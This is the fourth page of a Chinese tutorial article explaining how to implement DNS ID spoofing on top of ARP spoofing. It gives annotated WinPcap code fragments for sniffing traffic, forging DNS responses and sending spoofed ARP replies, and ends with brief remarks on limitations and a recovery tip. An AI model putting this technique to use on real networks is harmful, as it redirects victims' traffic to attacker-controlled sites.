WEB开发网
开发学院软件开发VC DNS ID欺骗的原理与实现 阅读

DNS ID欺骗的原理与实现

 2006-07-21 11:11:17 来源:WEB开发网   
核心提示: 1.sniff线程:PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);//将网卡设置为混杂模式PacketSetBuff(lpadapter,500*1024);//设置网络适配器的内核缓存;PacketSetReadTim

1.sniff线程:

PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);

//将网卡设置为混杂模式

PacketSetBuff(lpadapter,500*1024);

//设置网络适配器的内核缓存;

PacketSetReadTimeout(lpadapter,1);

//设置等待时间;

PacketReceivePacket(lpadapter,lppacketr,TRUE);

//接收网络数据报;

checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));

//计算校验和;

PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));

//初始化一个_PACKET结构,发送DNS响应数据报;

2.arpspoof线程;

PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));

//初始化ARP响应数据报;

PacketSendPacket(lpadapter,lppackets,TRUE);

//发送ARP欺骗的响应数据报;

3.getmac()函数

GetAdaptersInfo(padapterinfo,&adapterinfosize);

//获取网络适配器的属性;

SendARP(destip,0,pulmac,&ullen);

//发送ARP请求数据报,过去网络主机的MAC地址;

4.main()函数

PacketGetAdapterNames((char *)adaptername,&adapterlength);

//获得本地主机的网络适配器列表和描述;

lpadapter=PacketOpenAdapter(adapterlist[open-1]); 

//打开指定的网络适配器;

CreateThread(NULL,0,sniff,NULL,0,&threadrid);

CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);

//创建两个线程;

WaitForMultipleObjects(2,thread,FALSE,INFINITE);

//等待其中的某个线程结束;

四、小结与后记

局域网内的网络安全是一个值得大家关注的问题,往往容易发起各种欺骗攻击,这是局域网自身的属性所决定的--网络共享。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网络攻击,如果在广域网上,则比较麻烦。不过也有一些例外情况:如果IE中使用代理服务器,欺骗不能进行,因为这时客户端并不会在本地进行域名请求;如果你访问的不是网站主页,而是相关子目录的文件,这样你在自定义的网站上不会找到相关的文件,登陆以失败告终。如果你不幸被欺骗了,先禁用本地连接,然后启用本地连接就可以清除DNS缓存。

上一页  1 2 3 4 

Tags:DNS ID 欺骗

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接